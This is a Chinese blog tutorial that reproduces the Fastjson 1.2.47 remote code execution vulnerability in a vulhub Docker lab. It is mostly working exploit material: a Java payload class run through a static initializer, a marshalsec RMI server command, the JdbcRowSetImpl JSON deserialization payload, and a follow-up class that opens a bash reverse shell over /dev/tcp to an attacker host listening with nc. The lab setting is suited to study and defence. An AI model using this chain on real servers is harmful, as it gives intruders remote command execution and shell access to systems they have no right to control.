各位大佬,最近好么
由于找工作,以及适应新环境,导致快3个月没有更新文章了,感觉有点对不住大家。
话不多说,今天带大家复现一下Fastjson1.2.47远程命令执行漏洞。
漏洞实现流程
准备环境
本次漏洞复现需要有三台设备(两台也可以)
主机A:模拟Fastjson漏洞环境(centos7)
主机B:模拟攻击机,需要开启web服务(windows10)
主机C:搭设RMI服务(可以同主机B配置在一起,我的环境是在centos7下搭建的)
主机A
启动docker服务
service docker start
进入vulhub目录下fastjson ->fastjson1.2.47
启动靶场环境
docker-compose up -d
,
主机B
将以下代码保存为TouchFile.java (红色处为远程命令执行的代码)
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}}}
使用javac将代码编写为TouchFile.class类文件
并将生成的类文件放在web目录下,启动web服务。
主机C
我们需要借助marshalsec项目,启动一个RMI服务器,监听4444端口,并加载远程类(需要java 8环境)
下载地址:https://github.com/mbechler/marshalsec
安装maven
yum install -y maven
切换到marshalsec目录下使用maven进行打包
mvn clean package -DskipTests
开启RMI服务(IP-1为主机B的地址)
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://IP-1/#TouchFile" 4444
此处一定要注意格式 类只要写名字即可,不需要加.class,其次类名前要加#
现先,把所需要的环境就准备好了,真心不容易啊,小编看了好多文章,踩了好多雷才搭建好。马上就要到漏洞复现的环节,有没有点小兴奋........嘻嘻
漏洞复现
访问主机A的ip地址加端口号(8090)并使用burp抓包,将请求包发到Repeater模块。
修改请求模式为POST,将content-type修改为application/json,然后在请求体中输入下面的JSON对象。(IP-2为主机C的地址)
{
"a":{
"@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://IP-2:4444/Exploit",
"autoCommit":true
} }
构造完的请求包如下图:
验证一下命令是否执行成功:
主机A下执行docker ps 查看容器id
进入容器
docker exec -it 5ca5facc4a25 bash
查看/tmp目录下是否成功生成success文件,有则表示生成成功
复现升级
既然都可以创建目录了,那就用来弹个shell吧修改java代码,并重新编译(IP-3为接受shell的主机,我用的kali,端口设置为kali监听端口)
// javac shell.java
import java.lang.Runtime;
import java.lang.Process;
public class shell {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/IP-3/port 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}}}
重新启动一个RMI服务
kali使用nc进行监听设置的端口,然后抓包改包发送(与之前流程一样,但注意一定要先监听)
发包后就发现kali接收到反弹的shell了。
今天的知识点到这里就结束了,咱们下次见!
Nothing seek, nothing find.